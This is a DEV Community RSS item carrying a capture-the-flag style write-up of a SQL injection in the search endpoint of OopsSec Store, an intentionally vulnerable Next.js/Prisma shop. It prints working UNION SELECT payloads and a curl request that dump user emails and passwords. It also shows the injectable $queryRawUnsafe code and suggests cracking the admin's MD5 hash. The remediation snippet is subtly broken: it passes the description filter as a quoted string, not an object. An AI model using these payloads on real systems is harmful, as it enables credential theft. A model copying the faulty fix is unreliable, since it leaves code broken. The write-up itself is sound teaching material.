<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Oopssec Store</title>
    <description>The latest articles on DEV Community by Oopssec Store (@oopssec-store).</description>
    <link>https://dev.to/oopssec-store</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3896663%2F00ab84f0-700b-425c-bc8a-c717385a9183.png</url>
      <title>DEV Community: Oopssec Store</title>
      <link>https://dev.to/oopssec-store</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/oopssec-store"/>
    <language>en</language>
    <item>
      <title>The ORM Didn't Save You: SQL Injection in a Prisma Codebase</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Tue, 28 Apr 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/the-orm-didnt-save-you-sql-injection-in-a-prisma-codebase-1cc8</link>
      <guid>https://dev.to/oopssec-store/the-orm-didnt-save-you-sql-injection-in-a-prisma-codebase-1cc8</guid>
      <description>&lt;p&gt;This writeup walks through a SQL injection in the product search feature of the &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;oss-oopssec-store&lt;/a&gt;, an intentionally vulnerable e-commerce app for learning web security. &lt;/p&gt;

&lt;p&gt;The lab is built with &lt;a href="https://nextjs.org/" rel="noopener noreferrer"&gt;Next.js&lt;/a&gt; and &lt;a href="https://www.prisma.io/" rel="noopener noreferrer"&gt;Prisma&lt;/a&gt;, so you might assume the ORM shields you from SQLi by default, and it mostly does, until someone reaches for &lt;code&gt;$queryRawUnsafe&lt;/code&gt; and drops user input straight into a raw query.&lt;/p&gt;

&lt;p&gt;That's exactly what happens here. The search input gets interpolated into the SQL string with no sanitization, so you can manipulate the query to pull data from other tables and grab the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table of contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Lab setup&lt;/li&gt;
&lt;li&gt;Feature overview and attack surface&lt;/li&gt;
&lt;li&gt;Exploitation procedure&lt;/li&gt;
&lt;li&gt;Vulnerable code analysis&lt;/li&gt;
&lt;li&gt;Remediation&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;Spin up the lab locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6pilhqpckohdnzuf9l3u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6pilhqpckohdnzuf9l3u.png" alt="OopsSec Store homepage interface" width="800" height="404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Feature overview and attack surface
&lt;/h2&gt;

&lt;p&gt;The target here is the product search bar in the navigation header. It lets users search products by name or description, hitting this endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/api/products/search?q=&amp;lt;search_term&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the backend, the &lt;code&gt;q&lt;/code&gt; parameter gets interpolated directly into a SQL query. No escaping, no parameterization. Whatever you type becomes part of the SQL statement.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyrz0nmnw0dnveqczr0u6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyrz0nmnw0dnveqczr0u6.png" alt="Product search input field" width="800" height="581"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can close the intended query context and tack on your own &lt;code&gt;UNION SELECT&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation procedure
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Initial behavior verification
&lt;/h3&gt;

&lt;p&gt;Start by searching for something normal, like &lt;code&gt;fresh&lt;/code&gt;. You should get product results back, confirming the endpoint works and actually uses the &lt;code&gt;q&lt;/code&gt; parameter.&lt;/p&gt;

&lt;h3&gt;
  
  
  Injection probing
&lt;/h3&gt;

&lt;p&gt;Now try this payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT 1,2,3,4,5--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the page renders without errors, you're in. The single quote broke out of the &lt;code&gt;LIKE&lt;/code&gt; clause, and the &lt;code&gt;UNION SELECT&lt;/code&gt; merged in.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3znj4gn01yfyaka6awod.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3znj4gn01yfyaka6awod.png" alt="SQL injection payload submitted in search box" width="800" height="581"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  UNION-based data extraction
&lt;/h3&gt;

&lt;p&gt;Time to pull real data. Submit this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;DELIVERED&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT id, email, password, role, addressId FROM users--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This merges the &lt;code&gt;users&lt;/code&gt; table into the product results. The app doesn't check where the columns came from, so it happily returns user credentials alongside product listings.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fva4macbgshby42q42orm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fva4macbgshby42q42orm.png" alt="Network response showing manipulated query results" width="800" height="493"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Same thing via curl:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://localhost:3000/api/products/search?q=DELIVERED%27%20UNION%20SELECT%20id%2C%20email%2C%20password%2C%20role%2C%20addressId%20FROM%20users--"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;

&lt;p&gt;Here's the problem. The query is built with string concatenation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sqlQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
  SELECT 
    id,
    name,
    description,
    price,
    "imageUrl"
  FROM products
  WHERE name LIKE '%&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%' OR description LIKE '%&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%'
  ORDER BY name ASC
  LIMIT 50
`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;$queryRawUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sqlQuery&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;query&lt;/code&gt; parameter is dropped directly into the SQL string, and &lt;code&gt;$queryRawUnsafe&lt;/code&gt; does exactly what the name suggests — it skips Prisma’s parameterization entirely. No escaping either. Single quotes, comment delimiters, anything goes.&lt;/p&gt;

&lt;p&gt;So when you send:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;DELIVERED&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT ...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the quote closes the &lt;code&gt;LIKE&lt;/code&gt; clause, and everything after it runs as SQL. The database user can read other tables, so the &lt;code&gt;users&lt;/code&gt; table comes back for free.&lt;/p&gt;

&lt;p&gt;This is &lt;a href="https://cwe.mitre.org/data/definitions/89.html" rel="noopener noreferrer"&gt;CWE-89: Improper Neutralization of Special Elements used in an SQL Command&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;Don't build SQL queries with string interpolation. Use Prisma's query builder instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findMany&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;OR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;insensitive&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;{ contains: query, mode: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;insensitive&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; } },&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;User input stays data, never becomes executable SQL.&lt;/p&gt;

&lt;p&gt;If you need raw SQL with Prisma, use &lt;code&gt;$queryRaw&lt;/code&gt; (parameterized), not &lt;code&gt;$queryRawUnsafe&lt;/code&gt;. With MySQL and no ORM, use prepared statements. You should also restrict the database user's permissions so that even if someone does find an injection, the damage is limited. Logging unusual query patterns helps too — you want to know when someone is poking at your search bar with &lt;code&gt;UNION SELECT&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Go further
&lt;/h2&gt;

&lt;p&gt;The leaked data includes an admin email with an MD5 password hash. MD5 is trivially crackable at this point, so you can try recovering the password offline and logging in as admin. From there, you'd have access to restricted endpoints where other flags might be hiding.&lt;/p&gt;




&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>nextjs</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
